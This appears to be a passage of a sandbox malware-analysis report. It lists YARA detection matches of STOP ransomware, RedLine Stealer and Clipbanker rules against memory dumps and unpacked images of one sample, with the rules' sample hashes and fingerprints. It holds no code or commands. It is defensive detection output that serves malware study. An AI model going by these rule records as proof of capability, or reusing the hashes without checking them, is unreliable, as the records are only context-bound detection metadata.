Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.1944837632.00000000009FC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.1855306265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.1854481318.0000000000A2D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2400599599.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.3013186700.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.1730589370.0000000001C8E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2401576580.0000000000960000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.3633295170.0000000000840000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.2097463056.0000000004403000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.1828065109.000000000443F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
